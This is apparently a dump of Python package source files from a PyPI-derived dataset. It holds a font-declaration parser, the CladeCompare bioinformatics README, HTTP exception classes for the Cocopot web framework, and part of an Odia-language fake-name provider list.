id
stringlengths
1
265
text
stringlengths
6
5.19M
dataset_id
stringclasses
7 values
/Cubane-1.0.11.tar.gz/Cubane-1.0.11/cubane/fonts/declaration.py
from __future__ import unicode_literals import re class FontVariant(object): """ Encapsulates a specific font variation based on font weight and style. """ def __init__(self, weight, style): self.weight = weight self.style = style def matches(self, weight, style): """ Return True, if this font variant matches the given weight and style. """ return ( self.weight == weight and self.style == style ) def equals_to(self, variant): """ Returns True, if this font variant equals to the given variant. """ return self.matches(variant.weight, variant.style) def __unicode__(self): """ Return display representation of this font variant. """ return '%s%s' % (self.weight, 'i' if self.style == 'italic' else '') class FontDeclaration(object): """ Captures a font declaration in terms of its name and weights and styles that should be loaded. """ WEIGHTS = ['100', '200', '300', '400', '500', '600', '700', '800', '900'] STYLES = ['normal', 'italic'] def __init__(self, font_name, variants): self.font_name = font_name self.variants = [] if self.font_name: self.font_name = self.font_name.strip() if variants: for v in variants: self.add_variant(v) @property def variants_display(self): """ Return list of variants for display purposes. """ return [unicode(v) for v in self.variants] @classmethod def parse(cls, declaration): """ Parse given declaration string and return the font declaration information including the name of the font and supported weights and styles. Format: <font_name> [:<variant-selector>,...] Examples: Open Sans :300,300i Abel :400 """ m = re.match(r'^(?P<font_name>.*?)(:(?P<variants>.*?))?$', declaration) font_name = m.group('font_name') if font_name: variants_decl = m.group('variants') variants = [] if variants_decl: for v in variants_decl.strip().split(','): m = re.match(r'^(?P<weight>100|200|300|400|500|600|700|800|900)(?P<italic>i)?$', v.strip()) if m: variants.append(FontVariant( weight=m.group('weight'), style='italic' if m.group('italic') else 'normal' )) else: # if no varients have been declared, assume that all possible # varients are supported... for weight in cls.WEIGHTS: for style in cls.STYLES: variants.append(FontVariant(weight, style)) return FontDeclaration(font_name, variants) else: return None def join_with(self, declaration): """ Join this font declaration with the given declaration. Given that the font names match, the variants are updated, so that this font declaration supports all previously supported variants but also all variants declared by the given font declaration. """ # cannot join if font name does not match if self.font_name != declaration.font_name: return # join variants for v in declaration.variants: self.add_variant(v) def supports_variant(self, variant): """ Return True, if this font declaration supports the given font variant. """ for v in self.variants: if v.equals_to(variant): return True def supports_variant_by_components(self, weight, style): """ Return True, if this font declaration supports the given font weight and style. """ for v in self.variants: if v.matches(weight, style): return True def add_variant(self, variant): """ Add the given variant to the list of supported variants, if it is not supported already. """ if not self.supports_variant(variant): self.variants.append(variant)
PypiClean
/CladeCompare-0.2.tar.gz/CladeCompare-0.2/README.rst
============ CladeCompare ============ Compare protein sequence alignments. Identify diagnostic residues between the given "foreground" (FG) and "background" (BG) clades. If you use this software in a publication, please cite our paper that describes it: Talevich, E. & Kannan, N. (2013) Structural and evolutionary adaptation of rhoptry kinases and pseudokinases, a family of coccidian virulence factors. *BMC Evolutionary Biology* 13:117 doi:10.1186/1471-2148-13-117 Available at: http://www.biomedcentral.com/1471-2148/13/117 Freely distributed under the permissive BSD 2-clause license (see LICENSE). Installation ------------ A proper installation looks like:: python setup.py install If you have setuptools installed, the dependencies on Biopython_, BioFrills_, SciPy_ and ReportLab_ will be fetched and installed automatically. .. _Biopython: http://biopython.org/wiki/Download .. _biofrills: https://github.com/etal/biofrills .. _SciPy: http://scipy.org/ .. _ReportLab: http://pypi.python.org/pypi/reportlab Optionally, CladeCompare can align your sequences for you if you have MUSCLE_, HMMer3_ or MAPGAPS_ installed. .. _MUSCLE: http://www.drive5.com/muscle/ .. _HMMer3: http://hmmer.janelia.org/ .. _MAPGAPS: http://mapgaps.igs.umaryland.edu/ If you have the dependencies installed, you can use this package in-place, without installing it. Just download the source code (git clone, or download the ZIP file and unpack it) and include the top-level directory in your system path, or add symbolic links to cladecompare.py, cladereport.py and cladeweb.py to an existing directory that's in your path (e.g. ``~/bin``). Testing ~~~~~~~ Finally, if you are on a Unix-like system (i.e. Linux, Mac or Cygwin), you can verify your installation by running the test suite. Change to the ``test/`` directory and run ``make``:: cd test make If CladeCompare is installed correctly, the program will run in several modes and generate output files. View the ``.html`` files in your web browser to see what happened. Usage ----- Web interface ~~~~~~~~~~~~~ Launch the script ``cladeweb.py`` and fill in the form in your web browser. The form accepts sequences in FASTA or CMA format, and you can upload an HMM profile to align unaligned FASTA sequence sets. (See below for details about each field.) If you launched the application from the command line, press Ctrl-C (on Unix-like systems) to stop the web server application. Note that only one instance of the server will run on your system at a time; if you launch ``cladeweb.py`` twice in a row, another browser tab or window will open but the server will not restart. Command line ~~~~~~~~~~~~ The command-line interface ``cladecompare.py`` provides the same functionality as the web interface, plus a few more options. To read the built-in help and option descriptions:: cladecompare.py --help Two alignments are compared by specifying the foreground and background sets, in that order, as arguments:: # Compare two alignments cladecompare.py fg_aln.seq bg_aln.seq The program prints the following information for each column in the alignment(s): - The consensus amino acid types of the foreground and background - p-value indicating the significance of the contrast in amino acid frequencies - a little ASCII bar chart indicating contrast, based on the p-value. P-values are adjusted for number of columns in the alignment with the Benjamini-Hochberg "step-up" multiple-testing correction (false discovery rate, FDR). Redirect the output to a file with the extension ".out":: # Compare two alignments cladecompare.py fg_aln.seq bg_aln.seq > fg-v-bg.out Or specify the output file name with the ``-o`` option (same effect):: cladecompare.py fg_aln.seq bg_aln.seq -o fg-v-bg.out If you're not using MAPGAPS_, it would make sense to either: - Create a sequence alignment of all sequences, foreground and background, together; then divide the alignment into two FASTA files (e.g. by sequence ID). - Align both the foreground and background sets with hmmalign (HMMer3_) using the same profile, then use a script (your own) to delete any insert columns. In case you botch all that, CladeCompare will check then number of columns in the FG and BG alignments, and if they don't match, will automatically run MUSCLE to align the alignments to each other. To align the FASTA sequences with MAPGAPS on the fly, specify the profile name (minus the extension) with the ``--mapgaps`` flag:: # Align sequence sets w/ MAPGAPS, then compare cladecompare.py test/scttlre-domain.fasta test/cdc2-domain.fasta --mapgaps test/CDK_CMGC \ -o scttlre-v-cdc2.out Pre-aligned sequences in CMA format (.cma) are also accepted:: # Use pre-aligned sequence sets (MAPGAPS "CMA" format) cladecompare.py test/scttlre-domain.fasta_aln.cma test/cdc2-domain.fasta_aln.cma \ -o scttlre-v-cdc2.out Finally, given the '-p' option, cladecompare.py will write a "pattern" file listing the alignment column numbers with significant contrasts, in decreasing order (this can be useful input to other scripts of your own), as well as PDF files of paired sequence logos representing the foreground and background alignments around each significant site:: # Specify where the outputs go cladecompare.py fg_aln.seq bg_aln.seq -o fg-v-bg.out -p fg-v-bg.pttrn Outputs ``````` The script ``cladereport.py`` converts the "\*.out" files to an HTML file showing the alignment of the FG and BG consensus sequences, with the FG sequence colorized to show per-site contrasts (red=significant difference, blue=non-significant/columns are similar), inserts (yellow) and deletions (gray gaps):: # Visualize the per-site contrasts as a colorized alignment cladereport.py scttlre-v-cdc2.out > scttlre-v-cdc2.html Single- and multi-profile modes ``````````````````````````````` If a single sequence set is given, the aligned columns are compared to the overall amino-acid frequencies of the alignment:: cladecompare.py subfam1.seq -o subfam1-single.out When more than 2 sequence sets are given, each set is individually treated as a foreground and the rest treated as the background for evaluation:: # Compare several related alignments, e.g. all subfamilies cladecompare.py subfam1.seq subfam2.seq subfam3.seq ... This multi-mode generates and names the "\*.out" files according to the corresponding sequence file names. You can visualize these all together:: # Visualize each subfamily's contrasts together cladereport.py subfam2.out subfam2.out subfam3.out ... > somefamily.html Strategies ---------- Statistical tests ("-s" options) for column comparison: :gtest: (default) G-test for goodness-of-fit of FG amino acid counts vs. those of the BG column. BG frequencies include pseudocounts calculated from the amino acid frequencies of the full sequence set. :urn: Ball-in-urn model (binomial), a la CHAIN_, for counts of the "consensus" amino acid type in FG and BG. :jsd: Jensen-Shannon divergence of column compositions, a la INTREPID_. .. _CHAIN: http://chain.igs.umaryland.edu/ .. _INTREPID: http://bioinformatics.oxfordjournals.org/content/24/21/2445.full
PypiClean
/Cocopot-0.2.tar.gz/Cocopot-0.2/cocopot/exceptions.py
import sys from ._compat import integer_types, text_type from .http import HTTP_STATUS_CODES, html_escape class HTTPException(Exception): """ Baseclass for all HTTP exceptions. This exception can be called as WSGI application to render a default error page or you can catch the subclasses of it independently and render nicer error messages. """ code = 555 description = 'Unknown http exception' def __init__(self, description=None): Exception.__init__(self) if description is not None: self.description = description @property def name(self): """The status name.""" return HTTP_STATUS_CODES.get(self.code, 'Unknown Error') def get_description(self): """Get the description.""" return u'%s' % self.description def get_body(self): """Get the HTML body.""" return text_type((u'%(description)s') % { 'description': self.get_description() }) def get_headers(self): """Get a list of headers.""" return [('Content-Type', 'text/plain')] def __str__(self): return '%d: %s' % (self.code, self.name) def __repr__(self): return '<%s \'%s\'>' % (self.__class__.__name__, self) class RequestRedirect(HTTPException): """Raise if the map requests a redirect. This is for example the case if `strict_slashes` are activated and an url that requires a trailing slash. The attribute `new_url` contains the absolute destination url. """ code = 301 def __init__(self, new_url): self.new_url = new_url def get_headers(self): return [('Location', self.new_url), ('Content-Type', 'text/html')] def get_body(self): display_location = html_escape(self.new_url) body = text_type(( '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">\n' '<title>Redirecting...</title>\n' '<h1>Redirecting...</h1>\n' '<p>You should be redirected automatically to target URL: ' '<a href="%s">%s</a>. If not click the link.') % (html_escape(self.new_url), display_location)) return body class BadRequest(HTTPException): """*400* `Bad Request` Raise if the browser sends something to the application the application or server cannot handle. """ code = 400 description = ( 'The browser (or proxy) sent a request that this server could ' 'not understand.' ) class SecurityError(BadRequest): """Raised if something triggers a security error. This is otherwise exactly like a bad request error. """ class Unauthorized(HTTPException): """*401* `Unauthorized` Raise if the user is not authorized. Also used if you want to use HTTP basic auth. """ code = 401 description = ( 'The server could not verify that you are authorized to access ' 'the URL requested. You either supplied the wrong credentials (e.g. ' 'a bad password), or your browser doesn\'t understand how to supply ' 'the credentials required.' ) class Forbidden(HTTPException): """*403* `Forbidden` Raise if the user doesn't have the permission for the requested resource but was authenticated. """ code = 403 description = ( 'You don\'t have the permission to access the requested resource. ' 'It is either read-protected or not readable by the server.' ) class NotFound(HTTPException): """*404* `Not Found` Raise if a resource does not exist and never existed. """ code = 404 description = ( 'The requested URL was not found on the server. ' 'If you entered the URL manually please check your spelling and ' 'try again.' ) class MethodNotAllowed(HTTPException): """*405* `Method Not Allowed` Raise if the server used a method the resource does not handle. For example `POST` if the resource is view only. Especially useful for REST. The first argument for this exception should be a list of allowed methods. Strictly speaking the response would be invalid if you don't provide valid methods in the header which you can do with that list. """ code = 405 description = 'The method is not allowed for the requested URL.' def __init__(self, valid_methods=None, description=None): """Takes an optional list of valid http methods starting with cocopot.""" HTTPException.__init__(self, description) self.valid_methods = valid_methods def get_headers(self): headers = HTTPException.get_headers(self) if self.valid_methods: headers.append(('Allow', ', '.join(self.valid_methods))) return headers class NotAcceptable(HTTPException): """*406* `Not Acceptable` Raise if the server can't return any content conforming to the `Accept` headers of the client. """ code = 406 description = ( 'The resource identified by the request is only capable of ' 'generating response entities which have content characteristics ' 'not acceptable according to the accept headers sent in the ' 'request.' ) class RequestTimeout(HTTPException): """*408* `Request Timeout` Raise to signalize a timeout. """ code = 408 description = ( 'The server closed the network connection because the browser ' 'didn\'t finish the request within the specified time.' ) class Conflict(HTTPException): """*409* `Conflict` Raise to signal that a request cannot be completed because it conflicts with the current state on the server. """ code = 409 description = ( 'A conflict happened while processing the request. The resource ' 'might have been modified while the request was being processed.' ) class Gone(HTTPException): """*410* `Gone` Raise if a resource existed previously and went away without new location. """ code = 410 description = ( 'The requested URL is no longer available on this server and there ' 'is no forwarding address. If you followed a link from a foreign ' 'page, please contact the author of this page.' ) class LengthRequired(HTTPException): """*411* `Length Required` Raise if the browser submitted data but no ``Content-Length`` header which is required for the kind of processing the server does. """ code = 411 description = ( 'A request with this method requires a valid <code>Content-' 'Length</code> header.' ) class PreconditionFailed(HTTPException): """*412* `Precondition Failed` Status code used in combination with ``If-Match``, ``If-None-Match``, or ``If-Unmodified-Since``. """ code = 412 description = ( 'The precondition on the request for the URL failed positive ' 'evaluation.' ) class RequestEntityTooLarge(HTTPException): """*413* `Request Entity Too Large` The status code one should return if the data submitted exceeded a given limit. """ code = 413 description = ( 'The data value transmitted exceeds the capacity limit.' ) class RequestURITooLarge(HTTPException): """*414* `Request URI Too Large` Like *413* but for too long URLs. """ code = 414 description = ( 'The length of the requested URL exceeds the capacity limit ' 'for this server. The request cannot be processed.' ) class UnsupportedMediaType(HTTPException): """*415* `Unsupported Media Type` The status code returned if the server is unable to handle the media type the client transmitted. """ code = 415 description = ( 'The server does not support the media type transmitted in ' 'the request.' ) class RequestedRangeNotSatisfiable(HTTPException): """*416* `Requested Range Not Satisfiable` The client asked for a part of the file that lies beyond the end of the file. """ code = 416 description = ( 'The server cannot provide the requested range.' ) class ExpectationFailed(HTTPException): """*417* `Expectation Failed` The server cannot meet the requirements of the Expect request-header. """ code = 417 description = ( 'The server could not meet the requirements of the Expect header' ) class ImATeapot(HTTPException): """*418* `I'm a teapot` The server should return this if it is a teapot and someone attempted to brew coffee with it. """ code = 418 description = ( 'This server is a teapot, not a coffee machine' ) class UnprocessableEntity(HTTPException): """*422* `Unprocessable Entity` Used if the request is well formed, but the instructions are otherwise incorrect. """ code = 422 description = ( 'The request was well-formed but was unable to be followed ' 'due to semantic errors.' ) class PreconditionRequired(HTTPException): """*428* `Precondition Required` The server requires this request to be conditional, typically to prevent the lost update problem, which is a race condition between two or more clients attempting to update a resource through PUT or DELETE. By requiring each client to include a conditional header ("If-Match" or "If-Unmodified- Since") with the proper value retained from a recent GET request, the server ensures that each client has at least seen the previous revision of the resource. """ code = 428 description = ( 'This request is required to be conditional; try using "If-Match" ' 'or "If-Unmodified-Since".' ) class TooManyRequests(HTTPException): """*429* `Too Many Requests` The server is limiting the rate at which this user receives responses, and this request exceeds that rate. (The server may use any convenient method to identify users and their request rates). The server may include a "Retry-After" header to indicate how long the user should wait before retrying. """ code = 429 description = ( 'This user has exceeded an allotted request count. Try again later.' ) class RequestHeaderFieldsTooLarge(HTTPException): """*431* `Request Header Fields Too Large` The server refuses to process the request because the header fields are too large. One or more individual fields may be too large, or the set of all headers is too large. """ code = 431 description = ( 'One or more header fields exceeds the maximum size.' ) class InternalServerError(HTTPException): """*500* `Internal Server Error` Raise if an internal server error occurred. This is a good fallback if an unknown error occurred in the dispatcher. """ code = 500 description = ( 'The server encountered an internal error and was unable to ' 'complete your request. Either the server is overloaded or there ' 'is an error in the application.' ) class NotImplemented(HTTPException): """*501* `Not Implemented` Raise if the application does not support the action requested by the browser. """ code = 501 description = ( 'The server does not support the action requested by the ' 'browser.' ) class BadGateway(HTTPException): """*502* `Bad Gateway` If you do proxying in your application you should return this status code if you received an invalid response from the upstream server it accessed in attempting to fulfill the request. """ code = 502 description = ( 'The proxy server received an invalid response from an upstream ' 'server.' ) class ServiceUnavailable(HTTPException): """*503* `Service Unavailable` Status code you should return if a service is temporarily unavailable. """ code = 503 description = ( 'The server is temporarily unable to service your request due to ' 'maintenance downtime or capacity problems. Please try again ' 'later.' ) class GatewayTimeout(HTTPException): """*504* `Gateway Timeout` Status code you should return if a connection to an upstream server times out. """ code = 504 description = ( 'The connection to an upstream server timed out.' ) class HTTPVersionNotSupported(HTTPException): """*505* `HTTP Version Not Supported` The server does not support the HTTP protocol version used in the request. """ code = 505 description = ( 'The server does not support the HTTP protocol version used in the ' 'request.' ) default_exceptions = {} __all__ = ['HTTPException'] def _find_exceptions(): for name, obj in globals().items(): try: is_http_exception = issubclass(obj, HTTPException) except TypeError: is_http_exception = False if not is_http_exception or obj.code is None: continue __all__.append(obj.__name__) old_obj = default_exceptions.get(obj.code, None) if old_obj is not None and issubclass(obj, old_obj): continue default_exceptions[obj.code] = obj _find_exceptions() del _find_exceptions def abort(code, *args, **kwargs): mapping = default_exceptions if not args and not kwargs and not isinstance(code, integer_types): raise HTTPException(response=code) if code not in mapping: raise LookupError('no exception for %r' % code) raise mapping[code](*args, **kwargs)
PypiClean
/LFake-18.9.0.tar.gz/LFake-18.9.0/lfake/providers/person/or_IN/__init__.py
from .. import Provider as PersonProvider class Provider(PersonProvider): formats_female = ( "{{first_name_female}} {{last_name}}", "{{first_name_unisex}} {{last_name}}", "{{prefix_female}} {{first_name_unisex}} {{last_name}}", "{{prefix_female}} {{first_name_female}} {{last_name}}", ) formats_male = ( "{{first_name_male}} {{last_name}}", "{{first_name_male}} {{middle_name}} {{last_name}}", "{{first_name_unisex}} {{middle_name}} {{last_name}}", "{{prefix_male}} {{first_name_male}} {{last_name}}", ) formats = formats_female + formats_male # All the names are extracted from Odia Wikipedia by Soumendra Kumar Sahoo. # 1. https://or.wikipedia.org/s/1duk and # 2. https://or.wikipedia.org/s/3vz first_names_female = ( "ଅଜୟନ୍ତୀ", "ଅଞ୍ଜଳି", "ଅନିଶା", "ଅନୀତା", "ଅନୁ", "ଅନୁପ୍ରିୟା", "ଅନୁଭା", "ଅପରାଜିତା", "ଅମିତା", "ଅମିୟବାଳା", "ଅର୍ଚ୍ଚିତା", "ଅର୍ପିତା", "ଅସୀମା", "ଆଞ୍ଚଲ", "ଆନିଷା", "ଆମେଲି", "ଇନ୍ଦୁ", "ଇନ୍ଦୁରାଣୀ", "ଇନ୍ଦ୍ରାଣୀ", "ଇରାନି", "ଇଲା", "ଉଷସୀ", "ଉଷା", "ଏଲିନା", "କନକଲତା", "କବିତା", "କମଳା", "କଲ୍ୟାଣୀ", "କାଜଲ", "କୁମୁଦ", "କୁସୁମ", "କୋଏଲ", "ଗାର୍ଗୀ", "ଗାୟତ୍ରୀବାଳା", "ଗୀତା", "ଗୁନ୍ ଗୁନ୍", "ଗୌରୀ", "ଗ୍ଲୋରିଆ", "ଚନ୍ଦ୍ରମା", "ଛବି", "ଜିନା", "ଜ୍ୟୋତିର୍ମୟୀ", "ଜ୍ୟୋତ୍ସ୍ନା", "ଜୟନ୍ତୀ", "ଝରଣା", "ଝିଲିକ୍", "ଟୁକୁନି", "ତନ୍ଦ୍ରା", "ତମନ୍ନା", "ତୃପ୍ତି", "ତ୍ରିପୁରା", "ଦୀପା", "ଦୀପ୍ତିରେଖା", "ଦେବଯାନୀ", "ଦେବୀ", "ନନ୍ଦିତା", "ନନ୍ଦିନୀ", "ନମିତା", "ନମ୍ରତା", "ନଳିନୀ", "ନାଜିଆ", "ନିକିତା", "ନିବେଦିତା", "ନିର୍ମଳା", "ନିହାରିକା", "ନୀତୁ", "ନୈନା", "ପଦ୍ମିନୀ", "ପାର୍ବତୀ", "ପିଙ୍କି", "ପୁନମ", "ପୁପୁଲ", "ପୁଷ୍ପା", "ପ୍ରକୃତି", "ପ୍ରତିଜ୍ଞା", "ପ୍ରମିଳା", "ପ୍ରିୟଙ୍କା", "ପ୍ରିୟମ୍ବଦା", "ପ୍ରିୟା", "ପ୍ରେମଲତା", "ଫୁଲମଣି", "ବନଜା", "ବନ୍ଦିତା", "ବବ୍ଲି", "ବର୍ଣ୍ଣାଳୀ", "ବର୍ଷା", "ବାସନ୍ତି", "ବାସନ୍ତୀ", "ବିଜୟଲକ୍ଷ୍ମୀ", "ବିଜୟିନୀ", "ବିଦୁସ୍ମିତା", "ବିନୋଦିନୀ", "ବିରଜା", "ବିଷ୍ଣୁପ୍ରିୟା", "ବୀଣା", "ବୈଶାଳୀ", "ଭଗବତୀ", "ଭବାନୀ", "ଭାନୁମତୀ", "ଭାସ୍ୱତୀ", "ଭୂମିକା", "ମଙ୍ଗଳା", "ମଞ୍ଜୁଲତା", "ମଞ୍ଜୁଳା", "ମଣିମାଳା", "ମନ୍ଦାକିନୀ", "ମମତା", "ମହାଶ୍ୱେତା", "ମାଧୁରୀ", "ମାମିନା", "ମିନତି", "ମିନାକ୍ଷୀ", "ମେଘନା", "ମେଘା", "ଯଶୋଦା", "ରଚନା", "ରଜନୀ", "ରଞ୍ଜିତା", "ରତ୍ନପ୍ରଭା", "ରଶ୍ମୀରେଖା", "ରାକ୍ଷୀ", "ରାଜଶ୍ରୀ", "ରାଧାରାଣୀ", "ରାଲି", "ରାସମଞ୍ଜରୀ", "ରାସେଶ୍ୱରୀ", "ରିନା", "ରିୟା", "ରୀତା", "ରୀତାରାଣୀ", "ରୁକ୍ମଣୀ", "ରୁନୁ", "ରୋଜା", "ରୋଷନୀ", "ରୋସନାରା", "ଲକ୍ଷ୍ମୀ", "ଲକ୍ଷ୍ମୀପ୍ରିୟା", "ଲତିକା", "ଲିପି", "ଲିପିକା", "ଲିପ୍ସା", "ଲୀଳା", "ଲେଖା", "ଲେସ୍ଲି", "ଶିବାନୀ", "ଶୀତଲ", "ଶୁଭଶ୍ରୀ", "ଶେଫାଳୀ", "ଶୈରିନ୍ଦ୍ରୀ", "ଶ୍ରୀମତି", "ଶ୍ରୀମତୀ", "ସଂଘମିତ୍ରା", "ସଞ୍ଚିତା", "ସନ୍ମିରା", "ସରସ୍ୱତୀ", "ସସ୍ମିତା", "ସାବିତ୍ରୀ", "ସିପ୍ରା", "ସୀମାରାଣୀ", "ସୁଚିତ୍ରା", "ସୁଜାତା", "ସୁନନ୍ଦା", "ସୁପ୍ରିୟା", "ସୁମନୀ", "ସୁରମା", "ସୋନିକା", "ସୋଫିଆ", "ସୌଦାମିନୀ", "ସୌମ୍ୟା", "ସ୍ନିଗ୍ଧା", "ସ୍ନେହାଙ୍ଗିନୀ", "ସ୍ମିତା", "ସ୍ୱାଗତିକା", ) first_names_unisex = ( "ଅଶ୍ୱିନୀ", "ଅଶ୍ୱିନୀ", "କବି", "ଗୀତା", "ଜ୍ୟୋତି", "ଦୁର୍ଗା", "ଦେବୀ", "ପଦ୍ମ", "ପୁପୁଲ", "ପ୍ରିୟଦର୍ଶୀ", "ମକର", "ମଙ୍ଗଳା", "ମୌସଦୀ", "ରତି", "ରଶ୍ମି", "ଶାନ୍ତି", "ସିମନ୍", "ସୁଧାଂଶୁମାଳିନୀ", "ସୁମନ", "ସ୍ନିତି", ) first_names_male = ( "ଅଂଶୁମାନ", "ଅକ୍ଷୟ", "ଅଖିଳ", "ଅଗସ୍ତି", "ଅଙ୍ଗଦ", "ଅଚ୍ୟୁତାନନ୍ଦ", "ଅଜିତ", "ଅଜୟ", "ଅତନୁ", "ଅଦ୍ୱୈତ", "ଅଧିରାଜ", "ଅନନ୍ତ", "ଅନାଦି", "ଅନାଦୀ", "ଅନିରୁଦ୍ଧ", "ଅନିଲ", "ଅନୀଲ", "ଅନୁଭବ", "ଅନ୍ତର୍ଯ୍ୟାମୀ", "ଅପୂର୍ବ", "ଅଭିନ୍ନ", "ଅଭିମନ୍ୟୁ", "ଅଭିରାମ", "ଅଭିଷେକ", "ଅଭୟ", "ଅମର", "ଅମରନାଥ", "ଅମରେନ୍ଦ୍ର", "ଅମିନୂଲ", "ଅମ୍ଳାନ", "ଅରକ୍ଷିତ", "ଅରବିନ୍ଦ", "ଅରିନ୍ଦମ", "ଅରୁଣ", "ଅର୍କ", "ଅର୍ଜୁନ", "ଅଲେଖ", "ଅଶୋକ", "ଅଶ୍ରୁମୋଚନ", "ଅସୀତ", "ଆକାଶ", "ଆକୁଳାନନ୍ଦ", "ଆଦିତ୍ୟ", "ଆନନ୍ଦ", "ଆପଲସ୍ୱାମୀ", "ଆରତି", "ଆର୍ଯ୍ୟନ", "ଆଲୋକ", "ଆଶ୍ରିତ", "ଆସଫ", "ଇତିସ", "ଇନ୍ଦ୍ରମଣି", "ଇରାଶିଷ", "ଇଶ୍ୱର", "ଉତ୍କଳ", "ଉତ୍ତମ", "ଉତ୍ସବ", "ଉଧାର", "ଉପେନ୍ଦ୍ର", "ଉପେନ୍ଦ୍ରନାଥ", "ଉମାକାନ୍ତ", "ଉମାବଲ୍ଲଭ", "ଉମାଶଙ୍କର", "ଓଡ଼ିଆ", "ଓମପ୍ରକାଶ", "ଓମ୍", "କନକବର୍ଦ୍ଧନ", "କପିଳ", "କମଳାକାନ୍ତ", "କରୁଣାକର", "କରେନ୍ଦ୍ର", "କଳିଙ୍ଗ", "କଳ୍ପତରୁ", "କହ୍ନେଇ", "କାଙ୍ଗାଳି", "କାଙ୍ଗୋଇ", "କାର୍ତ୍ତିକ", "କାର୍ତ୍ତିକେଶ୍ୱର", "କାଳନ୍ଦୀ", "କାଳିଆ", "କାଳୁଖଣ୍ଡାୟତ", "କାଶୀନାଥ", "କାହ୍ନୁ", "କାହ୍ନୁରାମ", "କିରଣ", "କିଶୋରଚନ୍ଦ୍ର", "କିଶୋରୀମଣି", "କୁଞ୍ଜବିହାରୀ", "କୁଣାଳ", "କୁନା", "କୁମୁଦ", "କୁଳମଣି", "କୃଷ୍ଣ", "କୃଷ୍ଣଚନ୍ଦ୍ର", "କେଦାର", "କେଦାରନାଥ", "କେଶବ", "କୈଳାଶ", "କୈଳାସ", "କ୍ଷୀରୋଦ", "କ୍ଷେତ୍ର", "ଖଗେଶ୍ୱର", "ଖାରବେଳ", "ଗଙ୍ଗାଧର", "ଗଣେଶରାମ", "ଗଣେଶ୍ୱର", "ଗଦାଧର", "ଗିରିଜା", "ଗିରିଶ", "ଗିରୀଶ", "ଗୁରୁ", "ଗୁରୁକୃଷ୍ଣ", "ଗୁରୁଚରଣ", "ଗୈାତମ", "ଗୋକୁଳାନନ୍ଦ", "ଗୋପନାରାୟଣ", "ଗୋପାଳ", "ଗୋପାଳବଲ୍ଲଭ", "ଗୋପୀନାଥ", "ଗୋବିନ୍ଦ", "ଗୋଲକ", "ଗୌତମ", "ଗୌର", "ଗୌରହରି", "ଘଣ୍ଟେଶ୍ୱର", "ଘନଶ୍ୟାମ", "ଘାସିରାମ", "ଚକ୍ରଧର", "ଚକ୍ରମଣି", "ଚନ୍ଦନ", "ଚନ୍ଦ୍ରମଣି", "ଚନ୍ଦ୍ରଶେଖର", "ଚନ୍ଦ୍ରସେନ", "ଚିତରଂଜନ", "ଚିତ୍ତରଞ୍ଜନ", "ଚିନ୍ତାମଣି", "ଚିନ୍ମୟ", "ଚିରଂଜୀବ", "ଚୈତନ୍ୟ", "ଛତିଶ", "ଛୋଟରାୟ", "ଜଗତେଶ୍ୱର", "ଜଗଦାନନ୍ଦ", "ଜଗଦିଶ", "ଜଗନ୍ନାଥ", "ଜଗବନ୍ଧୁ", "ଜନାର୍ଦନ", "ଜର୍ଜ", "ଜଲାଲ", "ଜିତୁ", "ଜୀବନ", "ଜୀବନାନନ୍ଦ", "ଜ୍ଞାନ", "ଜ୍ୟୋତି", "ଜ୍ୟୋତିନ୍ଦ୍ର", "ଜ୍ୟୋତିପ୍ରକାଶ", "ଜ୍ୟୋତିରିନ୍ଦ୍ର", "ଜୟକୃଷ୍ଣ", "ଜୟଦେବ", "ଜୟନାରାୟଣ", "ଜୟନ୍ତ", "ଜୟରାମ", "ଜୟୀରାମ", "ଝିନ୍ନ", "ତନ୍ମୟ", "ତପନ", "ତପୁ", "ତାନସେନ", "ତାରାପ୍ରସାଦ", "ତୁଷାରକାନ୍ତି", "ତ୍ରିନାଥ", "ତ୍ରିଲୋଚନ", "ଦାମୋଦର", "ଦାଶରଥୀ", "ଦିଗମ୍ବର", "ଦିନେଶ", "ଦିବାକରନାଥ", "ଦିବ୍ୟଶଙ୍କର", "ଦିଲୀପ", "ଦିଲ୍ଲୀପ", "ଦୀନବନ୍ଧୁ", "ଦୀପକ", "ଦୀପ୍ତିରଞ୍ଜନ", "ଦୁଃଖୀରାମ", "ଦୁଃଶାସନ", "ଦୁତିଅ", "ଦୁର୍ଯ୍ୟୋଧନ", "ଦୁର୍ଲଭ", "ଦୁଷ୍ମନ୍ତ", "ଦେବଦାସ", "ଦେବନାରାୟଣ", "ଦେବରାଜ", "ଦେବାଶିଷ", "ଦେବୀରଞ୍ଜନ", "ଦେବୁ", "ଦେବେନ", "ଦେବେନ୍ଦ୍ର", "ଦେବେନ୍ଦ୍ରନାଥ", "ଦେବେଶ", "ଦୈତାରି", "ଦୈତାରୀ", "ଦୋଳଗୋବିନ୍ଦ", "ଧନଞ୍ଜୟ", "ଧନୁର୍ଜୟ", "ଧନେଶ୍ୱର", "ଧରଣୀଧର", "ଧର୍ମାନନ୍ଦ", "ଧାମରାଜ", "ଧୀର", "ଧୃବ", "ଧ୍ରୁବ", "ନଗେନ", "ନଗେନ୍ଦ୍ର", "ନଟରାଜ", "ନନ୍ଦକିଶୋର", "ନବ", "ନବକିଶୋର", "ନବଘନ", "ନବଜ୍ୟୋତି", "ନବୀନ", "ନରସିଂ", "ନରସିଂହ", "ନରେନ", "ନରେନ୍ଦ୍ର", "ନାଉରୀ", "ନିଜାମ", "ନିତାଇ", "ନିତ୍ୟାନନ୍ଦ", "ନିପନ୍", "ନିରଞ୍ଜନ", "ନିହାର", "ନୀରଦ", "ନୀଳମଣୀ", "ନୀଳମାଧବ", "ନୀଳାଦ୍ରି", "ନୀଳାମ୍ବର", "ନୃସିଂହ", "ନେତ୍ରାନନ୍ଦ", "ନୟନ", "ପଞ୍ଚାନନ", "ପଠାଣି", "ପଦ", "ପଦ୍ମଚରଣ", "ପଦ୍ମନ", "ପଦ୍ମନାଭ", "ପଦ୍ମଲୋଚନ", "ପପୁ", "ପବିତ୍ର", "ପରମା", "ପରମାନନ୍ଦ", "ପରମେଶ୍ୱର", "ପର୍ଶୁରାମ", "ପାଟ୍ଟ", "ପାଡୁ", "ପାଣୁ", "ପିଣ୍ଟୁ", "ପିଣ୍ଡାକୀ", "ପୀତାମ୍ବର", "ପୁଣ୍ୟପ୍ରଭା", "ପୁପିନ୍ଦର", "ପୁରୁଷୋତ୍ତମ", "ପୂର୍ଣଚନ୍ଦ୍ର", "ପୂର୍ଣ୍ଣଚନ୍ଦ୍ର", "ପୂର୍ଣ୍ଣବାସୀ", "ପୂର୍ଣ୍ଣାନନ୍ଦ", "ପୃଥ୍ୱୀରାଜ", "ପ୍ରଜ୍ଞାନ", "ପ୍ରଣବ", 